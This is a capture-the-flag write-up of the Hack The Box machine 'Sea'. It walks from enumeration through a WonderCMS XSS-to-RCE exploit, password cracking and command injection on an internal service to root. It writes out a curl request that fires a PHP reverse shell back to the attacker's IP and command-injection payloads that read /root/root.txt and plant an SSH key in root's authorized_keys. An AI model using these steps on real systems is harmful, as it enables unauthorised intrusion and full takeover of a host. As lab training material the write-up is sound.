HTB - Sea Writeup

👾 Machine Overview

This is a writeup of the machine Sea from HTB , it’s an easy difficulty Linux machine which featured a really cool web path with XSS leading to RCE, and command injection on an internal service.

🔍 Enumeration

I started off with an initial nmap:

nmap -sC -sV -p- -Pn 10.10.11.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 15:02 EDT
Nmap scan report for 10.10.11.28
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.50 seconds

Nothin but web, went to check it out.

🚲 Velik71 Website

Headed over to the website, we’re greeted with a super exciting animated webpage for a bike racing company. Weird business model.

There’s a second page which directs us to a contact form.

It links to http://sea.htb/contact.php, so I threw sea.htb into /etc/hosts and went to check it out.

As we’re told in How To Participate, the login form has a spot where we can input a website “related to your passion for night racing”.

IDK about the rest of you but I haven’t gotten around to https://lfgberg.org/i-love-night-racing, so i spun up a python HTTP server to see if we would get anything from this form.

About 10 minutes later, I got a GET request from the machine to my host, I tried using this to serve and execute a number of PHP payloads, but I wasn’t able to get anything to work. The callbacks were also super inconsistent and really slow, I’m assuming it’s on some sort of schedule.

It felt like I was missing enough information to make this really go anywhere, so I pivoted to further investigating the app and fuzzing for more content.

🔍 Fuzzing

First I checked for other vHosts.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://sea.htb -H "Host: FUZZ.sea.htb" -fw 582

I didn’t find anything, so I pivoted to checking for directories and PHP files.

# Checking for directories
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://sea.htb/FUZZ -fs 199

# Specifiying .php since contact had php
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://sea.htb/FUZZ.php -fs 199

Looks like we have a 404 page, as well as a handful of directories.

I didn’t find any pages other than contact and the homepage, so I fuzzed further at the directories we discovered.

There’s another directory, bike, within themes, which makes sense.

We’re able to view two interesting files in bike, LICENSE and version.

We know we’re running version 3.2.0 of the bike theme, and we have Copyright (c) 2019 turboblack, I used this to search around and try to figure out what server the website was running on.

Searching for velik71 turboblack on Google brings us to this page which seems to indicate that the website is running WonderCMS.

Turboblack is evidently the developer who made the bike theme for WonderCMS.

✨ WonderCMS

Now that we know the box is running WonderCMS from somewhere around 2019 we can do some additional research to figure out what it might be vulnerable to.

Evidently almost all but the latest versions of WonderCMS are vulnerable to CVE-2023-41425 , XSS that can lead to RCE.

According to the POC , the exploit requires user interaction from an admin clicking a link with a crafted payload. Since the links from the contact page are getting browsed to on a schedule, we can try tossing it there to see if we get a successful callback.

exploit.py stands up a server, and generates a link that I threw into the contact form after standing up a nc listener. After a while we can see a callback to the server, but the reverse shell never pops.

Digging into the code for exploit.py, it’s creating a reverse shell at /themes/revshell-main/rev.php, and then attempting to execute it.

I tried manually hitting that file with curl, which successfully popped the shell.

curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.123&lport=8081'

🥈 User

Now we have a shell as www-data, I dug around to see if there was anything interesting, and within the data directory of the website which we saw earlier from fuzzing, there’s a file database.js.

Here we’re able to see a password hashed with bcrypt. I tried throwing this right into hashcat but it won’t work initially. There are some backslashes used as escape characters that need to be removed, but then we’re able to crack it with rockyou.

hashcat -a 0 -m 3200 ./db.hash /usr/share/wordlists/rockyou.txt

Presumably we can use this to SSH into the box, but I didn’t have a username yet. Back to the revshell we can see two users, amay and geo.

The creds worked on SSH for amay.

🥇 Root

I checked out the system for interesting files but didn’t find anything, so I tried running linpeas which didn’t get me anything interesting either.

The box didn’t seem to have many services externally accessible, so I used netstat to see what else was going on.

There’s some sort of internal service running on port 8080 that looks pretty interesting, I tried setting up a proxy a couple different ways but it was pretty finnicky. Eventually after resetting the machine I was able to port forward using SSH.

ssh -L 8000:localhost:8080 [email protected]

The site asks us to sign in, I used amay‘s creds that we cracked earlier and it worked.

System monitor, very exciting stuff. I pulled up burp to see what was going on with the requests and hit Analyze.

There’s an interesting parameter log_file which is set client side that I started messing with. First test was to change it to /etc/shadow.

We got some output from this but it looks truncated? This lets us know that the app is running with elevated permissions which is super cool. I started appending commands which got better output and proved that we had full command injection.

The app claims to analyze log files so it looks to be doing something along the lines of cat [log_file] | [command to analyze file], by appending something like whoami we give that second command bad input which causes it to error and leak the whole file.

First I used this to read the root flag.

POST /

log_file=/root/root.txt%26whoami&analyze_log=

I wanted to go a bit further and get an actual shell from this, so I crafted a payload to add my SSH public key to authorized_keys for the root user.

POST /

log_file=/root/.ssh/authorized_keys%26echo+"[URL encoded SSH key]">+/root/.ssh/authorized_keys&analyze_log=

Looking at the output it seemed to work!

I was then able to SSH in as root, yippee!